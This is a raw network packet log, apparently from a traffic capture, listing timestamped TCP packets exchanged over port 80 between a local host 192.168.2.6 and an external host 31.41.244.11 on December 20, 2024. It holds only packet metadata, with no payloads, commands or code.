Dec 20, 2024 21:13:16.567903042 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.567976952 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.568779945 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.568964958 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.569003105 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.569340944 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.569473982 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.569503069 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.570234060 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.570386887 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.570410967 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.570935965 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.571093082 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.571198940 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.571491957 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.572035074 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.572141886 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.572165012 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.572523117 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.572937012 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.573221922 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.573247910 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.573679924 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.573750973 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.573785067 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.574179888 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.574621916 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.574640036 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.574807882 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.575496912 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.575552940 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.575685024 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.576381922 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.576426029 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.576670885 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.723179102 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.723288059 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.723359108 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.723413944 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.723551989 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.723623991 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.723630905 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.723722935 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.724426985 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.724634886 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.724673033 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.724946976 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.725356102 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.725456953 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.725560904 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.726183891 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.726313114 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.726347923 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.726764917 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.727046013 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.727169991 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.727281094 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.727941990 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.728035927 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.728096008 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.728132010 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.728790998 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.728914022 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.728919029 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.729032993 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.729650974 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.729743004 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.729816914 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.729883909 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.730572939 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.730592012 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.730674982 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.731409073 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.731518984 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.731570959 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.731586933 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.732281923 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.732383013 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.732405901 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.732506037 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.733169079 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.733288050 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.733392000 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.734030962 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.734150887 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.734651089 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.734977961 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.735047102 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.735099077 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.735229969 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.735791922 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.735888004 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.736051083 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.736671925 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.736738920 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.736778021 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.737237930 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.737514019 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.737679958 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.737724066 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.737922907 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.739170074 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.739185095 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.739238024 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.739255905 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.739255905 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.739350080 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.739360094 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.739511967 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.740108013 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.740166903 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.740211964 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.740724087 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.741168976 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.741274118 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.741386890 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.741991043 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.742151022 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.742181063 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.742331982 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.742791891 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.742960930 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.743241072 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.743626118 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.743726015 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.743750095 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.743917942 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.744477034 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.744579077 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.744705915 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.745362997 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.745459080 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.745496988 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.745613098 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.746200085 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.746351004 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.746654987 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.747116089 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.747195005 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.747360945 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.747980118 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.748071909 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.748111963 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.748207092 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.748820066 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.748938084 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.748963118 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.749315023 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.749681950 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.749798059 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.749821901 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.749886990 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.750569105 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.750658989 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.750693083 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.750809908 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.751442909 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.751564980 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.751882076 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.752335072 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.752424955 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.752484083 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.752484083 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.753143072 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.753264904 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.753295898 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.753384113 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.754075050 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.754163980 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.754199028 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.754421949 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.754920006 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.755022049 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.755050898 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.755079031 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.755784035 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.755899906 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.756438971 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.756644964 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.756792068 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.756798029 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.756845951 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.757499933 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.757632017 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.757695913 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.757725954 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.758424997 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.758538961 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.758800983 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.759282112 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.759368896 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.759864092 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.760153055 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.760240078 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.760688066 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.761032104 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.761116028 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.761125088 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.761213064 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.761878967 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.761989117 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.762016058 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.762681007 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.762723923 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.762775898 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.762837887 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.763098955 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.763638973 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.763770103 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.763880968 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.764489889 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.764583111 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.764607906 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.764664888 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.765371084 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.765511036 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.765552044 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.765979052 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.766236067 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.766341925 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.766366005 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.766452074 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.767155886 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.767277002 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.767342091 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.768078089 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.768235922 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.768321991 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.768405914 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.768964052 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.769249916 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.916232109 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.916250944 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.916428089 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.916584015 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.916711092 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.916773081 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.916946888 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.916946888 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.917105913 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.917450905 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.917795897 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.917907953 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.918507099 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.918646097 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.918663979 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.919569016 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.919585943 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.919675112 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.919675112 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.920263052 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.920434952 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.920479059 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.920664072 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.921278000 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.921293974 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.921561956 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.922122955 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.922147989 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.922209024 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.924057007 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.924082041 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.924170017 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.924170017 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.924217939 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.924390078 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.924484968 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.924688101 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.924705029 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.924794912 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.925055027 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.925616980 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.925642014 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.925821066 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.926482916 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.926598072 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.926661968 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.927366972 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.927565098 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.927604914 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.928257942 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.928273916 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.928345919 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.928345919 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.929126024 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.929142952 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.929264069 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.929946899 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.929970980 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.929985046 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.930037975 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.930037975 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.930804968 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.930831909 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.931673050 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.931704044 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.931756020 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.932549953 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.932622910 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.932714939 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.932754040 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.933412075 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.933639050 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.935484886 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.935535908 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.935551882 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.935599089 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.935615063 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.935646057 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.935648918 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.935663939 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.935689926 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.935830116 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.935858965 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.935861111 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.936790943 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.936850071 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.936897039 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.937076092 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.937141895 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.937576056 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.937659025 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.937736034 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.938401937 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.938497066 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.938550949 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.939321041 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.939358950 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.939377069 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.940151930 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.940192938 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.940274000 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.940968037 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.941006899 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.941098928 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.941828012 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.941848040 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.941951036 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.942014933 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.942131042 CET	49849	80	192.168.2.6	31.41.244.11
